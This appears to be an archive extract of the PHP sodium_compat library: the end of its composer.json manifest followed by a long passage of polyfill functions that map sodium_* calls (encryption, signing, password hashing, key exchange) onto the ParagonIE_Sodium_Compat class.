"name": "Paragon Initiative Enterprises", "email": "security@paragonie.com" }, { "name": "Frank Denis", "email": "jedisct1@pureftpd.org" } ], "autoload": { "files": ["autoload.php"] }, "require": { "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8", "paragonie/random_compat": ">=1" }, "require-dev": { "phpunit/phpunit": "^3|^4|^5|^6|^7|^8|^9" }, "scripts": { "test": "phpunit" }, "suggest": { "ext-libsodium": "PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.", "ext-sodium": "PHP >= 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security." } } PK!elib/php72compat_const.phpnu[getMessage() === 'AES-256-GCM is not available')) { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_aes256gcm_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message, $additional_data, $nonce, $key); } } if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available() * @return bool */ function sodium_crypto_aead_aes256gcm_is_available() { return ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt( $ciphertext, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt( $message, $additional_data, $nonce, $key ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_chacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key ); } } if (!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_chacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt() * @param string $ciphertext * @param string $additional_data * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt( $ciphertext, $additional_data, $nonce, $key, true ); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt() * @param string $message * @param string $additional_data * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt( #[\SensitiveParameter] $message, $additional_data, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt( $message, $additional_data, $nonce, $key, true ); } } if (!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen() * @return string * @throws Exception */ function sodium_crypto_aead_xchacha20poly1305_ietf_keygen() { return ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen(); } } if (!is_callable('sodium_crypto_auth')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth( $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth($message, $key); } } if (!is_callable('sodium_crypto_auth_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_keygen() * @return string * @throws Exception */ function sodium_crypto_auth_keygen() { return ParagonIE_Sodium_Compat::crypto_auth_keygen(); } } if (!is_callable('sodium_crypto_auth_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_auth_verify() * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_auth_verify( $mac, $message, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message, $key); } } if (!is_callable('sodium_crypto_box')) { /** * @see ParagonIE_Sodium_Compat::crypto_box() * @param string $message * @param string $nonce * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $key_pair); } } if (!is_callable('sodium_crypto_box_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair() { return ParagonIE_Sodium_Compat::crypto_box_keypair(); } } if (!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_box_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_open() * @param string $ciphertext * @param string $nonce * @param string $key_pair * @return string|bool */ function sodium_crypto_box_open( $ciphertext, $nonce, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_open($ciphertext, $nonce, $key_pair); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_box_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_publickey($key_pair); } } if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_box_seal')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal() * @param string $message * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seal( #[\SensitiveParameter] $message, $public_key ) { return ParagonIE_Sodium_Compat::crypto_box_seal($message, $public_key); } } if (!is_callable('sodium_crypto_box_seal_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seal_open() * @param string $message * @param string $key_pair * @return string|bool * @throws SodiumException */ function sodium_crypto_box_seal_open( $message, #[\SensitiveParameter] $key_pair ) { try { return ParagonIE_Sodium_Compat::crypto_box_seal_open($message, $key_pair); } catch (SodiumException $ex) { if ($ex->getMessage() === 'Argument 2 must be CRYPTO_BOX_KEYPAIRBYTES long.') { throw $ex; } return false; } } } if (!is_callable('sodium_crypto_box_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_box_secretkey($key_pair); } } if (!is_callable('sodium_crypto_box_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_box_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed); } } if (!is_callable('sodium_crypto_generichash')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash() * @param string $message * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash( $message, #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash($message, $key, $length); } } if (!is_callable('sodium_crypto_generichash_final')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_final() * @param string|null $state * @param int $outputLength * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_final(&$state, $outputLength = 32) { return ParagonIE_Sodium_Compat::crypto_generichash_final($state, $outputLength); } } if (!is_callable('sodium_crypto_generichash_init')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_init() * @param string|null $key * @param int $length * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_init( #[\SensitiveParameter] $key = null, $length = 32 ) { return ParagonIE_Sodium_Compat::crypto_generichash_init($key, $length); } } if (!is_callable('sodium_crypto_generichash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen() * @return string * @throws Exception */ function sodium_crypto_generichash_keygen() { return ParagonIE_Sodium_Compat::crypto_generichash_keygen(); } } if (!is_callable('sodium_crypto_generichash_update')) { /** * @see ParagonIE_Sodium_Compat::crypto_generichash_update() * @param string|null $state * @param string $message * @return void * @throws SodiumException * @throws TypeError */ function sodium_crypto_generichash_update( #[\SensitiveParameter] &$state, $message = '' ) { ParagonIE_Sodium_Compat::crypto_generichash_update($state, $message); } } if (!is_callable('sodium_crypto_kdf_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_keygen() * @return string * @throws Exception */ function sodium_crypto_kdf_keygen() { return ParagonIE_Sodium_Compat::crypto_kdf_keygen(); } } if (!is_callable('sodium_crypto_kdf_derive_from_key')) { /** * @see ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key() * @param int $subkey_length * @param int $subkey_id * @param string $context * @param string $key * @return string * @throws Exception */ function sodium_crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_kdf_derive_from_key( $subkey_length, $subkey_id, $context, $key ); } } if (!is_callable('sodium_crypto_kx')) { /** * @see ParagonIE_Sodium_Compat::crypto_kx() * @param string $my_secret * @param string $their_public * @param string $client_public * @param string $server_public * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_kx( #[\SensitiveParameter] $my_secret, $their_public, $client_public, $server_public ) { return ParagonIE_Sodium_Compat::crypto_kx( $my_secret, $their_public, $client_public, $server_public ); } } if (!is_callable('sodium_crypto_kx_seed_keypair')) { /** * @param string $seed * @return string * @throws Exception */ function sodium_crypto_kx_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_kx_seed_keypair($seed); } } if (!is_callable('sodium_crypto_kx_keypair')) { /** * @return string * @throws Exception */ function sodium_crypto_kx_keypair() { return ParagonIE_Sodium_Compat::crypto_kx_keypair(); } } if (!is_callable('sodium_crypto_kx_client_session_keys')) { /** * @param string $client_key_pair * @param string $server_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_client_session_keys( #[\SensitiveParameter] $client_key_pair, $server_key ) { return ParagonIE_Sodium_Compat::crypto_kx_client_session_keys($client_key_pair, $server_key); } } if (!is_callable('sodium_crypto_kx_server_session_keys')) { /** * @param string $server_key_pair * @param string $client_key * @return array{0: string, 1: string} * @throws SodiumException */ function sodium_crypto_kx_server_session_keys( #[\SensitiveParameter] $server_key_pair, $client_key ) { return ParagonIE_Sodium_Compat::crypto_kx_server_session_keys($server_key_pair, $client_key); } } if (!is_callable('sodium_crypto_kx_secretkey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_secretkey($key_pair); } } if (!is_callable('sodium_crypto_kx_publickey')) { /** * @param string $key_pair * @return string * @throws Exception */ function sodium_crypto_kx_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_kx_publickey($key_pair); } } if (!is_callable('sodium_crypto_pwhash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @param int|null $algo * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit, $algo = null ) { return ParagonIE_Sodium_Compat::crypto_pwhash($length, $passwd, $salt, $opslimit, $memlimit, $algo); } } if (!is_callable('sodium_crypto_pwhash_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_needs_rehash')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $hash * @param int $opslimit * @param int $memlimit * @return bool * * @throws SodiumException */ function sodium_crypto_pwhash_str_needs_rehash( #[\SensitiveParameter] $hash, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($hash, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256() * @param int $length * @param string $passwd * @param string $salt * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256( $length, #[\SensitiveParameter] $passwd, $salt, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256( $length, $passwd, $salt, $opslimit, $memlimit ); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str() * @param string $passwd * @param int $opslimit * @param int $memlimit * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str( #[\SensitiveParameter] $passwd, $opslimit, $memlimit ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit, $memlimit); } } if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify')) { /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify() * @param string $passwd * @param string $hash * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify( #[\SensitiveParameter] $passwd, #[\SensitiveParameter] $hash ) { return ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash); } } if (!is_callable('sodium_crypto_scalarmult')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult() * @param string $n * @param string $p * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult( #[\SensitiveParameter] $n, $p ) { return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p); } } if (!is_callable('sodium_crypto_scalarmult_base')) { /** * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base() * @param string $n * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_scalarmult_base( #[\SensitiveParameter] $n ) { return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n); } } if (!is_callable('sodium_crypto_secretbox')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_secretbox( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce, $key); } } if (!is_callable('sodium_crypto_secretbox_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen() * @return string * @throws Exception */ function sodium_crypto_secretbox_keygen() { return ParagonIE_Sodium_Compat::crypto_secretbox_keygen(); } } if (!is_callable('sodium_crypto_secretbox_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_secretbox_open() * @param string $ciphertext * @param string $nonce * @param string $key * @return string|bool */ function sodium_crypto_secretbox_open( $ciphertext, $nonce, #[\SensitiveParameter] $key ) { try { return ParagonIE_Sodium_Compat::crypto_secretbox_open($ciphertext, $nonce, $key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_push')) { /** * @param string $key * @return array * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_init_push( #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_push($key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_push')) { /** * @param string $state * @param string $message * @param string $additional_data * @param int $tag * @return string * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_push( #[\SensitiveParameter] &$state, #[\SensitiveParameter] $message, $additional_data = '', $tag = 0 ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_push( $state, $message, $additional_data, $tag ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_init_pull')) { /** * @param string $header * @param string $key * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_init_pull( $header, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_init_pull($header, $key); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_pull')) { /** * @param string $state * @param string $ciphertext * @param string $additional_data * @return bool|array{0: string, 1: int} * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_pull( #[\SensitiveParameter] &$state, $ciphertext, $additional_data = '' ) { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_pull( $state, $ciphertext, $additional_data ); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_rekey')) { /** * @param string $state * @return void * @throws SodiumException */ function sodium_crypto_secretstream_xchacha20poly1305_rekey( #[\SensitiveParameter] &$state ) { ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_rekey($state); } } if (!is_callable('sodium_crypto_secretstream_xchacha20poly1305_keygen')) { /** * @return string * @throws Exception */ function sodium_crypto_secretstream_xchacha20poly1305_keygen() { return ParagonIE_Sodium_Compat::crypto_secretstream_xchacha20poly1305_keygen(); } } if (!is_callable('sodium_crypto_shorthash')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash() * @param string $message * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_shorthash( $message, #[\SensitiveParameter] $key = '' ) { return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key); } } if (!is_callable('sodium_crypto_shorthash_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen() * @return string * @throws Exception */ function sodium_crypto_shorthash_keygen() { return ParagonIE_Sodium_Compat::crypto_shorthash_keygen(); } } if (!is_callable('sodium_crypto_sign')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_detached() * @param string $message * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_detached( $message, #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_detached($message, $secret_key); } } if (!is_callable('sodium_crypto_sign_keypair_from_secretkey_and_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey() * @param string $secret_key * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair_from_secretkey_and_publickey( #[\SensitiveParameter] $secret_key, $public_key ) { return ParagonIE_Sodium_Compat::crypto_sign_keypair_from_secretkey_and_publickey($secret_key, $public_key); } } if (!is_callable('sodium_crypto_sign_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_keypair() * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_keypair() { return ParagonIE_Sodium_Compat::crypto_sign_keypair(); } } if (!is_callable('sodium_crypto_sign_open')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_open() * @param string $signedMessage * @param string $public_key * @return string|bool */ function sodium_crypto_sign_open($signedMessage, $public_key) { try { return ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $public_key); } catch (Error $ex) { return false; } catch (Exception $ex) { return false; } } } if (!is_callable('sodium_crypto_sign_publickey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey($key_pair); } } if (!is_callable('sodium_crypto_sign_publickey_from_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_publickey_from_secretkey( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($secret_key); } } if (!is_callable('sodium_crypto_sign_secretkey')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey() * @param string $key_pair * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_secretkey( #[\SensitiveParameter] $key_pair ) { return ParagonIE_Sodium_Compat::crypto_sign_secretkey($key_pair); } } if (!is_callable('sodium_crypto_sign_seed_keypair')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair() * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_seed_keypair( #[\SensitiveParameter] $seed ) { return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed); } } if (!is_callable('sodium_crypto_sign_verify_detached')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached() * @param string $signature * @param string $message * @param string $public_key * @return bool * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_verify_detached($signature, $message, $public_key) { return ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message, $public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519() * @param string $public_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_pk_to_curve25519($public_key) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($public_key); } } if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519')) { /** * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519() * @param string $secret_key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_sign_ed25519_sk_to_curve25519( #[\SensitiveParameter] $secret_key ) { return ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($secret_key); } } if (!is_callable('sodium_crypto_stream')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream() * @param int $length * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream( $length, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream($length, $nonce, $key); } } if (!is_callable('sodium_crypto_stream_keygen')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_keygen() * @return string * @throws Exception */ function sodium_crypto_stream_keygen() { return ParagonIE_Sodium_Compat::crypto_stream_keygen(); } } if (!is_callable('sodium_crypto_stream_xor')) { /** * @see ParagonIE_Sodium_Compat::crypto_stream_xor() * @param string $message * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ function sodium_crypto_stream_xor( #[\SensitiveParameter] $message, $nonce, #[\SensitiveParameter] $key ) { return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce, $key); } } require_once dirname(__FILE__) . '/stream-xchacha20.php'; if (!is_callable('sodium_hex2bin')) { /** * @see ParagonIE_Sodium_Compat::hex2bin() * @param string $string * @param string $ignore * @return string * @throws SodiumException * @throws TypeError */ function sodium_hex2bin( #[\SensitiveParameter] $string, $ignore = '' ) { return ParagonIE_Sodium_Compat::hex2bin($string, $ignore); } } if (!is_callable('sodium_increment')) { /** * @see ParagonIE_Sodium_Compat::increment() * @param string $string * @return void * @throws SodiumException * @throws TypeError */ function sodium_increment( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::increment($string); } } if (!is_callable('sodium_library_version_major')) { /** * @see ParagonIE_Sodium_Compat::library_version_major() * @return int */ function sodium_library_version_major() { return ParagonIE_Sodium_Compat::library_version_major(); } } if (!is_callable('sodium_library_version_minor')) { /** * @see ParagonIE_Sodium_Compat::library_version_minor() * @return int */ function sodium_library_version_minor() { return ParagonIE_Sodium_Compat::library_version_minor(); } } if (!is_callable('sodium_version_string')) { /** * @see ParagonIE_Sodium_Compat::version_string() * @return string */ function sodium_version_string() { return ParagonIE_Sodium_Compat::version_string(); } } if (!is_callable('sodium_memcmp')) { /** * @see ParagonIE_Sodium_Compat::memcmp() * @param string $string1 * @param string $string2 * @return int * @throws SodiumException * @throws TypeError */ function sodium_memcmp( #[\SensitiveParameter] $string1, #[\SensitiveParameter] $string2 ) { return ParagonIE_Sodium_Compat::memcmp($string1, $string2); } } if (!is_callable('sodium_memzero')) { /** * @see ParagonIE_Sodium_Compat::memzero() * @param string $string * @return void * @throws SodiumException * @throws TypeError * * @psalm-suppress ReferenceConstraintViolation */ function sodium_memzero( #[\SensitiveParameter] &$string ) { ParagonIE_Sodium_Compat::memzero($string); } } if (!is_callable('sodium_pad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $unpadded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_pad( #[\SensitiveParameter] $unpadded, $block_size ) { return ParagonIE_Sodium_Compat::pad($unpadded, $block_size, true); } } if (!is_callable('sodium_unpad')) { /** * @see ParagonIE_Sodium_Compat::pad() * @param string $padded * @param int $block_size * @return string * @throws SodiumException * @throws TypeError */ function sodium_unpad( #[\SensitiveParameter] $padded, $block_size ) { return ParagonIE_Sodium_Compat::unpad($padded, $block_size, true); } } if (!is_callable('sodium_randombytes_buf')) { /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $amount * @return string * @throws Exception */ function sodium_randombytes_buf($amount) { return ParagonIE_Sodium_Compat::randombytes_buf($amount); } } if (!is_callable('sodium_randombytes_uniform')) { /** * @see ParagonIE_Sodium_Compat::randombytes_uniform() * @param int $upperLimit * @return int * @throws Exception */ function sodium_randombytes_uniform($upperLimit) { return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit); } } if 